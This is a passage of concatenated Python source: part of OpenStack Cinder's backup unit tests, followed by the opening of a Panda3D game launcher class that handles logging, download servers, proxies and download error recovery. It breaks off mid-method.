backup = self._create_backup_db_entry(status=fields.BackupStatus.ERROR, volume_id=vol_id) self.assertRaises(exception.InvalidBackup, self.backup_mgr.export_record, self.ctxt, backup) def test_export_record(self): """Test normal backup record export.""" service = 'cinder.tests.unit.backup.fake_service.FakeBackupService' vol_size = 1 vol_id = self._create_volume_db_entry(status='available', size=vol_size) backup = self._create_backup_db_entry( status=fields.BackupStatus.AVAILABLE, volume_id=vol_id, service=service) export = self.backup_mgr.export_record(self.ctxt, backup) self.assertEqual(service, export['backup_service']) self.assertIn('backup_url', export) def test_import_record_with_verify_not_implemented(self): """Test normal backup record import. Test the case when import succeeds for the case that the driver does not support verify. """ vol_size = 1 backup_id = fake.BACKUP4_ID export = self._create_exported_record_entry(vol_size=vol_size, exported_id=backup_id) imported_record = self._create_export_record_db_entry( backup_id=backup_id) backup_hosts = [] self.backup_mgr.import_record(self.ctxt, imported_record, export['backup_service'], export['backup_url'], backup_hosts) backup = db.backup_get(self.ctxt, imported_record.id) self.assertEqual(fields.BackupStatus.AVAILABLE, backup['status']) self.assertEqual(vol_size, backup['size']) def test_import_record_with_wrong_id(self): """Test normal backup record import. Test the case when import succeeds for the case that the driver does not support verify. """ vol_size = 1 export = self._create_exported_record_entry(vol_size=vol_size) imported_record = self._create_export_record_db_entry() backup_hosts = [] self.assertRaises(exception.InvalidBackup, self.backup_mgr.import_record, self.ctxt, imported_record, export['backup_service'], export['backup_url'], backup_hosts) def test_import_record_with_bad_service(self): """Test error handling. Test error handling when attempting an import of a backup record with a different service to that used to create the backup. """ export = self._create_exported_record_entry() export['backup_service'] = 'cinder.tests.unit.backup.bad_service' imported_record = self._create_export_record_db_entry() # Test the case where the additional hosts list is empty backup_hosts = [] self.assertRaises(exception.ServiceNotFound, self.backup_mgr.import_record, self.ctxt, imported_record, export['backup_service'], export['backup_url'], backup_hosts) # Test that the import backup keeps calling other hosts to find a # suitable host for the backup service backup_hosts = ['fake1', 'fake2'] backup_hosts_expect = list(backup_hosts) BackupAPI_import = 'cinder.backup.rpcapi.BackupAPI.import_record' with mock.patch(BackupAPI_import) as _mock_backup_import: self.backup_mgr.import_record(self.ctxt, imported_record, export['backup_service'], export['backup_url'], backup_hosts) next_host = backup_hosts_expect.pop() _mock_backup_import.assert_called_once_with( self.ctxt, next_host, imported_record, export['backup_service'], export['backup_url'], backup_hosts_expect) def test_import_record_with_invalid_backup(self): """Test error handling. Test error handling when attempting an import of a backup record where the backup driver returns an exception. """ export = self._create_exported_record_entry() backup_driver = self.backup_mgr.service(self.ctxt) _mock_record_import_class = ('%s.%s.%s' % (backup_driver.__module__, backup_driver.__class__.__name__, 'import_record')) imported_record = self._create_export_record_db_entry() backup_hosts = [] with mock.patch(_mock_record_import_class) as _mock_record_import: _mock_record_import.side_effect = FakeBackupException('fake') self.assertRaises(exception.InvalidBackup, self.backup_mgr.import_record, self.ctxt, imported_record, export['backup_service'], export['backup_url'], backup_hosts) self.assertTrue(_mock_record_import.called) backup = db.backup_get(self.ctxt, imported_record.id) self.assertEqual(fields.BackupStatus.ERROR, backup['status']) def test_not_supported_driver_to_force_delete(self): """Test force delete check method for not supported drivers.""" self.override_config('backup_driver', 'cinder.backup.drivers.ceph.CephBackupDriver') self.backup_mgr = importutils.import_object(CONF.backup_manager) result = self.backup_mgr.check_support_to_force_delete(self.ctxt) self.assertFalse(result) @mock.patch('cinder.backup.drivers.nfs.NFSBackupDriver.' '_init_backup_repo_path', return_value=None) @mock.patch('cinder.backup.drivers.nfs.NFSBackupDriver.' 'check_for_setup_error', return_value=None) def test_check_support_to_force_delete(self, mock_check_configuration, mock_init_backup_repo_path): """Test force delete check method for supported drivers.""" self.override_config('backup_driver', 'cinder.backup.drivers.nfs.NFSBackupDriver') self.backup_mgr = importutils.import_object(CONF.backup_manager) result = self.backup_mgr.check_support_to_force_delete(self.ctxt) self.assertTrue(result) def test_backup_has_dependent_backups(self): """Test backup has dependent backups. Test the query of has_dependent_backups in backup object is correct. """ vol_size = 1 vol_id = self._create_volume_db_entry(size=vol_size) backup = self._create_backup_db_entry(volume_id=vol_id) self.assertFalse(backup.has_dependent_backups) def test_default_tpool_size(self): """Test we can set custom tpool size.""" tpool._nthreads = 20 self.assertListEqual([], tpool._threads) self.backup_mgr = importutils.import_object(CONF.backup_manager) self.assertEqual(60, tpool._nthreads) self.assertListEqual([], tpool._threads) def test_tpool_size(self): """Test we can set custom tpool size.""" self.assertNotEqual(100, tpool._nthreads) self.assertListEqual([], tpool._threads) self.override_config('backup_native_threads_pool_size', 100) self.backup_mgr = importutils.import_object(CONF.backup_manager) self.assertEqual(100, tpool._nthreads) self.assertListEqual([], tpool._threads) @mock.patch('cinder.backup.manager.BackupManager._run_restore') def test_backup_max_operations_restore(self, mock_restore): mock_sem = self.mock_object(self.backup_mgr, '_semaphore') vol_id = self._create_volume_db_entry( status=fields.VolumeStatus.RESTORING_BACKUP) backup = self._create_backup_db_entry( volume_id=vol_id, status=fields.BackupStatus.RESTORING) self.backup_mgr.restore_backup(self.ctxt, backup, vol_id) self.assertEqual(1, mock_sem.__enter__.call_count) self.assertEqual(1, mock_restore.call_count) self.assertEqual(1, mock_sem.__exit__.call_count) @mock.patch('cinder.backup.manager.BackupManager._start_backup') def test_backup_max_operations_backup(self, mock_backup): mock_sem = self.mock_object(self.backup_mgr, '_semaphore') vol_id = self._create_volume_db_entry( status=fields.VolumeStatus.BACKING_UP) backup = self._create_backup_db_entry( volume_id=vol_id, status=fields.BackupStatus.CREATING) self.backup_mgr.create_backup(self.ctxt, backup) self.assertEqual(1, mock_sem.__enter__.call_count) self.assertEqual(1, mock_backup.call_count) self.assertEqual(1, mock_sem.__exit__.call_count) @ddt.ddt class BackupAPITestCase(BaseBackupTest): def setUp(self): super(BackupAPITestCase, self).setUp() self.api = api.API() def test_get_all_wrong_all_tenants_value(self): self.assertRaises(exception.InvalidParameterValue, self.api.get_all, self.ctxt, {'all_tenants': 'bad'}) @mock.patch.object(objects, 'BackupList') def test_get_all_no_all_tenants_value(self, mock_backuplist): result = self.api.get_all(self.ctxt, {'key': 'value'}) self.assertFalse(mock_backuplist.get_all.called) self.assertEqual(mock_backuplist.get_all_by_project.return_value, result) mock_backuplist.get_all_by_project.assert_called_once_with( self.ctxt, self.ctxt.project_id, {'key': 'value'}, None, None, None, None, None) @mock.patch.object(objects, 'BackupList') @ddt.data(False, 'false', '0', 0, 'no') def test_get_all_false_value_all_tenants( self, false_value, mock_backuplist): result = self.api.get_all(self.ctxt, {'all_tenants': false_value, 'key': 'value'}) self.assertFalse(mock_backuplist.get_all.called) self.assertEqual(mock_backuplist.get_all_by_project.return_value, result) mock_backuplist.get_all_by_project.assert_called_once_with( self.ctxt, self.ctxt.project_id, {'key': 'value'}, None, None, None, None, None) @mock.patch.object(objects, 'BackupList') @ddt.data(True, 'true', '1', 1, 'yes') def test_get_all_true_value_all_tenants( self, true_value, mock_backuplist): result = self.api.get_all(self.ctxt, {'all_tenants': true_value, 'key': 'value'}) self.assertFalse(mock_backuplist.get_all_by_project.called) self.assertEqual(mock_backuplist.get_all.return_value, result) mock_backuplist.get_all.assert_called_once_with( self.ctxt, {'key': 'value'}, None, None, None, None, None) @mock.patch.object(objects, 'BackupList') def test_get_all_true_value_all_tenants_non_admin(self, mock_backuplist): ctxt = context.RequestContext(uuid.uuid4(), uuid.uuid4()) result = self.api.get_all(ctxt, {'all_tenants': '1', 'key': 'value'}) self.assertFalse(mock_backuplist.get_all.called) self.assertEqual(mock_backuplist.get_all_by_project.return_value, result) mock_backuplist.get_all_by_project.assert_called_once_with( ctxt, ctxt.project_id, {'key': 'value'}, None, None, None, None, None) @mock.patch.object(api.API, '_get_available_backup_service_host', return_value='fake_host') @mock.patch.object(db, 'backup_create', side_effect=db_exc.DBError()) def test_create_when_failed_to_create_backup_object( self, mock_create, mock_get_service): # Create volume in admin context volume_id = utils.create_volume(self.ctxt)['id'] # Will try to backup from a different context new_context = copy.copy(self.ctxt) new_context.user_id = fake.USER3_ID new_context.project_id = fake.USER3_ID # The opposite side of this test case is a "NotImplementedError: # Cannot load 'id' in the base class" being raised. # More detailed, in the try clause, if backup.create() failed # with DB exception, backup.id won't be assigned. However, # in the except clause, backup.destroy() is invoked to do cleanup, # which internally tries to access backup.id. self.assertRaises(db_exc.DBError, self.api.create, context=new_context, name="test_backup", description="test backup description", volume_id=volume_id, container='volumebackups') @mock.patch.object(api.API, '_get_available_backup_service_host', return_value='fake_host') @mock.patch.object(objects.Backup, '__init__', side_effect=exception.InvalidInput( reason='Failed to new')) def test_create_when_failed_to_new_backup_object(self, mock_new, mock_get_service): volume_id = utils.create_volume(self.ctxt)['id'] # The opposite side of this test case is that a "UnboundLocalError: # local variable 'backup' referenced before assignment" is raised. # More detailed, in the try clause, backup = objects.Backup(...) # raises exception, so 'backup' is not assigned. But in the except # clause, 'backup' is referenced to invoke cleanup methods. self.assertRaises(exception.InvalidInput, self.api.create, context=self.ctxt, name="test_backup", description="test backup description", volume_id=volume_id, container='volumebackups') @mock.patch.object(api.API, '_get_available_backup_service_host', return_value='fake_host') @mock.patch('cinder.backup.rpcapi.BackupAPI.create_backup') def test_create_backup_from_snapshot_with_volume_in_use( self, mock_create, mock_get_service): self.ctxt.user_id = 'fake_user' self.ctxt.project_id = 'fake_project' volume_id = self._create_volume_db_entry(status='in-use') snapshot = self._create_snapshot_db_entry(volume_id=volume_id) backup = self.api.create(self.ctxt, None, None, volume_id, None, snapshot_id=snapshot.id) self.assertEqual(fields.BackupStatus.CREATING, backup.status) volume = objects.Volume.get_by_id(self.ctxt, volume_id) snapshot = objects.Snapshot.get_by_id(self.ctxt, snapshot.id) self.assertEqual(fields.SnapshotStatus.BACKING_UP, snapshot.status) self.assertEqual('in-use', volume.status) @mock.patch.object(api.API, '_get_available_backup_service_host', return_value='fake_host') @mock.patch('cinder.backup.rpcapi.BackupAPI.create_backup') @ddt.data(True, False) def test_create_backup_resource_status(self, is_snapshot, mock_create, mock_get_service): self.ctxt.user_id = 'fake_user' self.ctxt.project_id = 'fake_project' volume_id = self._create_volume_db_entry(status='available') snapshot = self._create_snapshot_db_entry(volume_id=volume_id) if is_snapshot: self.api.create(self.ctxt, None, None, volume_id, None, snapshot_id=snapshot.id) volume = objects.Volume.get_by_id(self.ctxt, volume_id) snapshot = objects.Snapshot.get_by_id(self.ctxt, snapshot.id) self.assertEqual('backing-up', snapshot.status) self.assertEqual('available', volume.status) else: self.api.create(self.ctxt, None, None, volume_id, None) volume = objects.Volume.get_by_id(self.ctxt, volume_id) snapshot = objects.Snapshot.get_by_id(self.ctxt, snapshot.id) self.assertEqual('available', snapshot.status) self.assertEqual('backing-up', volume.status) @mock.patch('cinder.backup.api.API._get_available_backup_service_host') @mock.patch('cinder.backup.rpcapi.BackupAPI.restore_backup') def test_restore_volume(self, mock_rpcapi_restore, mock_get_backup_host): volume_id = self._create_volume_db_entry(status='available', size=1) backup = self._create_backup_db_entry(size=1, status='available') mock_get_backup_host.return_value = 'testhost' self.api.restore(self.ctxt, backup.id, volume_id) backup = objects.Backup.get_by_id(self.ctxt, backup.id) self.assertEqual(volume_id, backup.restore_volume_id) @mock.patch.object(objects.Backup, 'decode_record') @mock.patch.object(quota.QUOTAS, 'commit') @mock.patch.object(quota.QUOTAS, 'rollback') @mock.patch.object(quota.QUOTAS, 'reserve') def test__get_import_backup_invalid_backup( self, mock_reserve, mock_rollback, mock_commit, mock_decode): backup = self._create_backup_db_entry(size=1, status='available') mock_decode.return_value = {'id': backup.id, 'project_id': backup.project_id, 'user_id': backup.user_id, 'volume_id': backup.volume_id, 'size': 1} mock_reserve.return_value = 'fake_reservation' self.assertRaises(exception.InvalidBackup, self.api._get_import_backup, self.ctxt, 'fake_backup_url') mock_reserve.assert_called_with( self.ctxt, backups=1, backup_gigabytes=1) mock_rollback.assert_called_with(self.ctxt, "fake_reservation") @mock.patch('cinder.objects.BackupList.get_all_by_volume') @mock.patch.object(quota.QUOTAS, 'rollback') @mock.patch.object(quota.QUOTAS, 'reserve') def test_create_backup_failed_with_empty_backup_objects( self, mock_reserve, mock_rollback, mock_get_backups): backups = mock.Mock() backups.objects = [] mock_get_backups.return_value = backups is_incremental = True self.ctxt.user_id = 'fake_user' self.ctxt.project_id = 'fake_project' mock_reserve.return_value = 'fake_reservation' volume_id = self._create_volume_db_entry(status='available', host='testhost#rbd', size=1, project_id="vol_proj_id") self.assertRaises(exception.InvalidBackup, self.api.create, self.ctxt, None, None, volume_id, None, incremental=is_incremental) mock_rollback.assert_called_with(self.ctxt, "fake_reservation") mock_get_backups.assert_called_once_with( self.ctxt, volume_id, 'vol_proj_id', filters={'project_id': 'fake_project'}) @mock.patch('cinder.db.backup_get_all_by_volume', return_value=[v2_fakes.fake_backup('fake-1')]) @mock.patch('cinder.backup.rpcapi.BackupAPI.create_backup') @mock.patch.object(api.API, '_get_available_backup_service_host', return_value='fake_host') @mock.patch.object(quota.QUOTAS, 'rollback') @mock.patch.object(quota.QUOTAS, 'reserve') def test_create_backup_failed_with_backup_status_not_available( self, mock_reserve, mock_rollback, mock_get_service, mock_createi, mock_get_backups): is_incremental = True self.ctxt.user_id = 'fake_user' self.ctxt.project_id = 'fake_project' mock_reserve.return_value = 'fake_reservation' volume_id = self._create_volume_db_entry(status='available', host='testhost#rbd', size=1) self.assertRaises(exception.InvalidBackup, self.api.create, self.ctxt, None, None, volume_id, None, incremental=is_incremental) mock_rollback.assert_called_with(self.ctxt, "fake_reservation")
codeparrot/github-code-clean
import sys import os import time import string import __builtin__ from panda3d.core import * from direct.showbase.MessengerGlobal import * from direct.showbase.DirectObject import DirectObject from direct.showbase.EventManagerGlobal import * from direct.task.MiniTask import MiniTask, MiniTaskManager from direct.directnotify.DirectNotifyGlobal import * class LogAndOutput: def __init__(self, orig, log): self.orig = orig self.log = log self.console = False def write(self, str): self.log.write(str) self.log.flush() if self.console: self.orig.write(str) self.orig.flush() def flush(self): self.log.flush() self.orig.flush() class LauncherBase(DirectObject): GameName = 'game' ArgCount = 6 LauncherPhases = [1, 2, 3, 4] TmpOverallMap = [0.25, 0.25, 0.25, 0.25] BANDWIDTH_ARRAY = [1800, 3600, 4200, 6600, 8000, 12000, 16000, 24000, 32000, 48000, 72000, 96000, 128000, 192000, 250000, 500000, 750000, 1000000, 1250000, 1500000, 1750000, 2000000, 3000000, 4000000, 6000000, 8000000, 10000000, 12000000, 14000000, 16000000, 24000000, 32000000, 48000000, 64000000, 96000000, 128000000, 256000000, 512000000, 1024000000] win32con_FILE_PERSISTENT_ACLS = 8 InstallDirKey = 'INSTALL_DIR' GameLogFilenameKey = 'GAMELOG_FILENAME' PandaWindowOpenKey = 'PANDA_WINDOW_OPEN' PandaErrorCodeKey = 'PANDA_ERROR_CODE' NewInstallationKey = 'IS_NEW_INSTALLATION' LastLoginKey = 'LAST_LOGIN' UserLoggedInKey = 'USER_LOGGED_IN' PaidUserLoggedInKey = 'PAID_USER_LOGGED_IN' ReferrerKey = 'REFERRER_CODE' PeriodTimeRemainingKey = 'PERIOD_TIME_REMAINING' PeriodNameKey = 'PERIOD_NAME' SwidKey = 'SWID' PatchCDKey = 'FROM_CD' DISLTokenKey = 'DISLTOKEN' ProxyServerKey = 'PROXY_SERVER' ProxyDirectHostsKey = 'PROXY_DIRECT_HOSTS' launcherFileDbFilename = 'launcherFileDb' webLauncherFlag = False def __init__(self): self.started = False self.taskMgrStarted = False self._downloadComplete = False self.pandaErrorCode = 0 self.WIN32 = os.name == 'nt' if self.WIN32: self.VISTA = sys.getwindowsversion()[3] == 2 and sys.getwindowsversion()[0] == 6 else: self.VISTA = 0 ltime = time.localtime() logSuffix = '%02d%02d%02d_%02d%02d%02d' % (ltime[0] - 2000, ltime[1], ltime[2], ltime[3], ltime[4], ltime[5]) logPrefix = '' if not self.WIN32: logPrefix = os.environ.get('LOGFILE_PREFIX', '') logfile = logPrefix + self.getLogFileName() + '-' + logSuffix + '.log' self.errorfile = 'errorCode' log = open(logfile, 'a') logOut = LogAndOutput(sys.__stdout__, log) logErr = LogAndOutput(sys.__stderr__, log) sys.stdout = logOut sys.stderr = logErr if sys.platform == 'darwin': os.system('/usr/sbin/system_profiler >>' + logfile) elif sys.platform == 'linux2': os.system('cat /proc/cpuinfo >>' + logfile) os.system('cat /proc/meminfo >>' + logfile) os.system('/sbin/ifconfig -a >>' + logfile) print '\n\nStarting %s...' % self.GameName print 'Current time: ' + time.asctime(time.localtime(time.time())) + ' ' + time.tzname[0] print 'sys.path = ', sys.path print 'sys.argv = ', sys.argv if len(sys.argv) >= self.ArgCount: Configrc_args = sys.argv[self.ArgCount - 1] print "generating configrc using: '" + Configrc_args + "'" else: Configrc_args = '' print 'generating standard configrc' os.environ['CONFIG_CONFIG'] = ':_:configdir_.:configpath_:configname_Configrc.exe:configexe_1:configargs_-stdout ' + Configrc_args cpMgr = ConfigPageManager.getGlobalPtr() cpMgr.reloadImplicitPages() launcherConfig = getConfigExpress() __builtin__.config = launcherConfig if config.GetBool('log-private-info', 0): print 'os.environ = ', os.environ elif '__COMPAT_LAYER' in os.environ: print '__COMPAT_LAYER = %s' % (os.environ['__COMPAT_LAYER'],) self.miniTaskMgr = MiniTaskManager() self.VerifyFiles = self.getVerifyFiles() self.setServerVersion(launcherConfig.GetString('server-version', 'no_version_set')) self.ServerVersionSuffix = launcherConfig.GetString('server-version-suffix', '') self.UserUpdateDelay = launcherConfig.GetFloat('launcher-user-update-delay', 0.5) self.TELEMETRY_BANDWIDTH = launcherConfig.GetInt('launcher-telemetry-bandwidth', 2000) self.INCREASE_THRESHOLD = launcherConfig.GetFloat('launcher-increase-threshold', 0.75) self.DECREASE_THRESHOLD = launcherConfig.GetFloat('launcher-decrease-threshold', 0.5) self.BPS_WINDOW = launcherConfig.GetFloat('launcher-bps-window', 8.0) self.DECREASE_BANDWIDTH = launcherConfig.GetBool('launcher-decrease-bandwidth', 1) self.MAX_BANDWIDTH = launcherConfig.GetInt('launcher-max-bandwidth', 0) self.nout = MultiplexStream() Notify.ptr().setOstreamPtr(self.nout, 0) self.nout.addFile(Filename(logfile)) if launcherConfig.GetBool('console-output', 0): self.nout.addStandardOutput() sys.stdout.console = True sys.stderr.console = True self.notify = directNotify.newCategory('Launcher') self.clock = TrueClock.getGlobalPtr() self.logPrefix = logPrefix self.testServerFlag = self.getTestServerFlag() self.notify.info('isTestServer: %s' % self.testServerFlag) downloadServerString = launcherConfig.GetString('download-server', '') if downloadServerString: self.notify.info('Overriding downloadServer to %s.' % downloadServerString) else: downloadServerString = self.getValue('DOWNLOAD_SERVER', '') self.notify.info('Download Server List %s' % downloadServerString) self.downloadServerList = [] for name in downloadServerString.split(';'): url = URLSpec(name, 1) self.downloadServerList.append(url) self.nextDownloadServerIndex = 0 self.getNextDownloadServer() self.gameServer = self.getGameServer() self.notify.info('Game Server %s' % self.gameServer) self.downloadServerRetries = 3 self.multifileRetries = 1 self.curMultifileRetry = 0 self.downloadServerRetryPause = 1 self.bandwidthIndex = len(self.BANDWIDTH_ARRAY) - 1 self.everIncreasedBandwidth = 0 self.goUserName = '' self.downloadPercentage = 90 self.decompressPercentage = 5 self.extractPercentage = 4 self.lastLauncherMsg = None self.topDir = Filename.fromOsSpecific(self.getValue(self.InstallDirKey, '.')) self.setRegistry(self.GameLogFilenameKey, logfile) tmpVal = self.getValue(self.PatchCDKey) if tmpVal == None: self.fromCD = 0 else: self.fromCD = tmpVal self.notify.info('patch directory is ' + `(self.fromCD)`) self.dbDir = self.topDir self.patchDir = self.topDir self.mfDir = self.topDir self.contentDir = 'content/' self.clientDbFilename = 'client.ddb' self.compClientDbFilename = self.clientDbFilename + '.pz' self.serverDbFilename = 'server.ddb' self.compServerDbFilename = self.serverDbFilename + '.pz' self.serverDbFilePath = self.contentDir + self.compServerDbFilename self.clientStarterDbFilePath = self.contentDir + self.compClientDbFilename self.progressFilename = 'progress' self.overallComplete = 0 self.progressSoFar = 0 self.patchExtension = 'pch' self.scanForHacks() self.firstPhase = self.LauncherPhases[0] self.finalPhase = self.LauncherPhases[-1] self.showPhase = 3.5 self.numPhases = len(self.LauncherPhases) self.phaseComplete = {} self.phaseNewDownload = {} self.phaseOverallMap = {} tmpOverallMap = self.TmpOverallMap tmpPhase3Map = [0.001, 0.996, 0.0, 0.0, 0.003] phaseIdx = 0 for phase in self.LauncherPhases: percentPhaseCompleteKey = 'PERCENT_PHASE_COMPLETE_' + `phase` self.setRegistry(percentPhaseCompleteKey, 0) self.phaseComplete[phase] = 0 self.phaseNewDownload[phase] = 0 self.phaseOverallMap[phase] = tmpOverallMap[phaseIdx] phaseIdx += 1 self.patchList = [] self.reextractList = [] self.byteRate = 0 self.byteRateRequested = 0 self.resetBytesPerSecond() self.dldb = None self.currentMfname = None self.currentPhaseIndex = 0 self.currentPhase = self.LauncherPhases[self.currentPhaseIndex] self.currentPhaseName = self.Localizer.LauncherPhaseNames[self.currentPhaseIndex] if self.getServerVersion() == 'no_version_set': self.setPandaErrorCode(10) self.notify.info('Aborting, Configrc did not run!') sys.exit() self.launcherMessage(self.Localizer.LauncherStartingMessage) self.http = HTTPClient() if self.http.getProxySpec() == '': self.http.setProxySpec(self.getValue(self.ProxyServerKey, '')) self.http.setDirectHostSpec(self.getValue(self.ProxyDirectHostsKey, '')) self.notify.info('Proxy spec is: %s' % self.http.getProxySpec()) if self.http.getDirectHostSpec() != '': self.notify.info('Direct hosts list is: %s' % self.http.getDirectHostSpec()) self.httpChannel = self.http.makeChannel(0) self.httpChannel.setDownloadThrottle(1) connOk = 0 while not connOk: proxies = self.http.getProxiesForUrl(self.downloadServer) if proxies == 'DIRECT': self.notify.info('No proxy for download.') else: self.notify.info('Download proxy: %s' % proxies) testurl = self.addDownloadVersion(self.launcherFileDbFilename) connOk = self.httpChannel.getHeader(DocumentSpec(testurl)) statusCode = self.httpChannel.getStatusCode() statusString = self.httpChannel.getStatusString() if not connOk: self.notify.warning('Could not contact download server at %s' % testurl.cStr()) self.notify.warning('Status code = %s %s' % (statusCode, statusString)) if statusCode == 407 or statusCode == 1407 or statusCode == HTTPChannel.SCSocksNoAcceptableLoginMethod: self.setPandaErrorCode(3) elif statusCode == 404: self.setPandaErrorCode(13) elif statusCode < 100: self.setPandaErrorCode(4) elif statusCode > 1000: self.setPandaErrorCode(9) else: self.setPandaErrorCode(6) if not self.getNextDownloadServer(): sys.exit() self.notify.info('Download server: %s' % self.downloadServer.cStr()) if self.notify.getDebug(): self.accept('page_up', self.increaseBandwidth) self.accept('page_down', self.decreaseBandwidth) self.httpChannel.setPersistentConnection(1) self.foreground() self.prepareClient() self.setBandwidth() self.downloadLauncherFileDb() return def getTime(self): return self.clock.getShortTime() def isDummy(self): return 0 def getNextDownloadServer(self): if self.nextDownloadServerIndex >= len(self.downloadServerList): self.downloadServer = None return 0 self.downloadServer = self.downloadServerList[self.nextDownloadServerIndex] self.notify.info('Using download server %s.' % self.downloadServer.cStr()) self.nextDownloadServerIndex += 1 return 1 def getProductName(self): config = getConfigExpress() productName = config.GetString('product-name', '') if productName and productName != 'DisneyOnline-US': productName = '_%s' % productName else: productName = '' return productName def background(self): self.notify.info('background: Launcher now operating in background') self.backgrounded = 1 def foreground(self): self.notify.info('foreground: Launcher now operating in foreground') self.backgrounded = 0 def setRegistry(self, key, value): self.notify.info('DEPRECATED setRegistry: %s = %s' % (key, value)) def getRegistry(self, key): self.notify.info('DEPRECATED getRegistry: %s' % key) return None def handleInitiateFatalError(self, errorCode): self.notify.warning('handleInitiateFatalError: ' + errorToText(errorCode)) sys.exit() def handleDecompressFatalError(self, task, errorCode): self.notify.warning('handleDecompressFatalError: ' + errorToText(errorCode)) self.miniTaskMgr.remove(task) self.handleGenericMultifileError() def handleDecompressWriteError(self, task, errorCode): self.notify.warning('handleDecompressWriteError: ' + errorToText(errorCode)) self.miniTaskMgr.remove(task) self.handleGenericMultifileError() def handleDecompressZlibError(self, task, errorCode): self.notify.warning('handleDecompressZlibError: ' + errorToText(errorCode)) self.miniTaskMgr.remove(task) self.handleGenericMultifileError() def handleExtractFatalError(self, task, errorCode): self.notify.warning('handleExtractFatalError: ' + errorToText(errorCode)) self.miniTaskMgr.remove(task) self.handleGenericMultifileError() def handleExtractWriteError(self, task, errorCode): self.notify.warning('handleExtractWriteError: ' + errorToText(errorCode)) self.miniTaskMgr.remove(task) self.handleGenericMultifileError() def handlePatchFatalError(self, task, errorCode): self.notify.warning('handlePatchFatalError: ' + errorToText(errorCode)) self.miniTaskMgr.remove(task) self.handleGenericMultifileError() def handlePatchWriteError(self, task, errorCode): self.notify.warning('handlePatchWriteError: ' + errorToText(errorCode)) self.miniTaskMgr.remove(task) self.handleGenericMultifileError() def handleDownloadFatalError(self, task): self.notify.warning('handleDownloadFatalError: status code = %s %s' % (self.httpChannel.getStatusCode(), self.httpChannel.getStatusString())) self.miniTaskMgr.remove(task) statusCode = self.httpChannel.getStatusCode() if statusCode == 404: self.setPandaErrorCode(5) elif statusCode < 100: self.setPandaErrorCode(4) else: self.setPandaErrorCode(6) if not self.getNextDownloadServer(): sys.exit() def handleDownloadWriteError(self, task): self.notify.warning('handleDownloadWriteError.') self.miniTaskMgr.remove(task) self.setPandaErrorCode(2) sys.exit() def handleGenericMultifileError(self): if not self.currentMfname: sys.exit() if self.curMultifileRetry < self.multifileRetries: self.notify.info('recover attempt: %s / %s' % (self.curMultifileRetry, self.multifileRetries)) self.curMultifileRetry += 1 self.notify.info('downloadPatchDone: Recovering from error.' + ' Deleting files in: ' + self.currentMfname) self.dldb.setClientMultifileIncomplete(self.currentMfname) self.dldb.setClientMultifileSize(self.currentMfname, 0) self.notify.info('downloadPatchDone: Recovering from error.' + ' redownloading: ' + self.currentMfname) self.httpChannel.reset() self.getMultifile(self.currentMfname) else: self.setPandaErrorCode(6) self.notify.info('handleGenericMultifileError: Failed to download multifile') sys.exit() def foregroundSleep(self): if not self.backgrounded: time.sleep(self.ForegroundSleepTime) def forceSleep(self): if not self.backgrounded: time.sleep(3.0) def addDownloadVersion(self, serverFilePath): url = URLSpec(self.downloadServer) origPath = url.getPath() if origPath and origPath[-1] == '/': origPath = origPath[:-1] if self.fromCD: url.setPath(self.getCDDownloadPath(origPath, serverFilePath)) else: url.setPath(self.getDownloadPath(origPath, serverFilePath)) self.notify.info('***' + url.cStr()) return url def download(self, serverFilePath, localFilename, callback, callbackProgress): self.launcherMessage(self.Localizer.LauncherDownloadFile % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases}) task = MiniTask(self.downloadTask) task.downloadRam = 0 task.serverFilePath = serverFilePath task.serverFileURL = self.addDownloadVersion(serverFilePath) self.notify.info('Download request: %s' % task.serverFileURL.cStr()) task.callback = callback task.callbackProgress = callbackProgress task.lastUpdate = 0 self.resetBytesPerSecond() task.localFilename = localFilename self.httpChannel.beginGetDocument(DocumentSpec(task.serverFileURL)) self.httpChannel.downloadToFile(task.localFilename) self.miniTaskMgr.add(task, 'launcher-download') def downloadRam(self, serverFilePath, callback): self.ramfile = Ramfile() task = MiniTask(self.downloadTask) task.downloadRam = 1 task.serverFilePath = serverFilePath task.serverFileURL = self.addDownloadVersion(serverFilePath) self.notify.info('Download request: %s' % task.serverFileURL.cStr()) task.callback = callback task.callbackProgress = None task.lastUpdate = 0 self.resetBytesPerSecond() self.httpChannel.beginGetDocument(DocumentSpec(task.serverFileURL)) self.httpChannel.downloadToRam(self.ramfile) self.miniTaskMgr.add(task, 'launcher-download') return def downloadTask(self, task): self.maybeStartGame() if self.httpChannel.run(): now = self.getTime() if now - task.lastUpdate >= self.UserUpdateDelay: task.lastUpdate = now self.testBandwidth() if task.callbackProgress: task.callbackProgress(task) bytesWritten = self.httpChannel.getBytesDownloaded() totalBytes = self.httpChannel.getFileSize() if totalBytes: pct = int(round(bytesWritten / float(totalBytes) * 100)) self.launcherMessage(self.Localizer.LauncherDownloadFilePercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': pct}) else: self.launcherMessage(self.Localizer.LauncherDownloadFileBytes % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'bytes': bytesWritten}) self.foregroundSleep() return task.cont statusCode = self.httpChannel.getStatusCode() statusString = self.httpChannel.getStatusString() self.notify.info('HTTP status %s: %s' % (statusCode, statusString)) if self.httpChannel.isValid() and self.httpChannel.isDownloadComplete(): bytesWritten = self.httpChannel.getBytesDownloaded() totalBytes = self.httpChannel.getFileSize() if totalBytes: pct = int(round(bytesWritten / float(totalBytes) * 100)) self.launcherMessage(self.Localizer.LauncherDownloadFilePercent % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'percent': pct}) else: self.launcherMessage(self.Localizer.LauncherDownloadFileBytes % {'name': self.currentPhaseName, 'current': self.currentPhaseIndex, 'total': self.numPhases, 'bytes': bytesWritten}) self.notify.info('downloadTask: Download done: %s' % task.serverFileURL.cStr()) task.callback() del task.callback return task.done else: if statusCode == HTTPChannel.SCDownloadOpenError or statusCode == HTTPChannel.SCDownloadWriteError: self.handleDownloadWriteError(task) elif statusCode == HTTPChannel.SCLostConnection: gotBytes = self.httpChannel.getBytesDownloaded() self.notify.info('Connection lost while downloading; got %s bytes. Reconnecting.' % gotBytes) if task.downloadRam: self.downloadRam(task.serverFilePath, task.callback) else: self.download(task.serverFilePath, task.localFilename, task.callback, None) else: if self.httpChannel.isValid(): self.notify.info('Unexpected situation: no error status, but %s incompletely downloaded.' % task.serverFileURL.cStr()) self.handleDownloadFatalError(task) if task.downloadRam: self.downloadRam(task.serverFilePath, task.callback) else: self.download(task.serverFilePath, task.localFilename, task.callback, None) return task.done return def 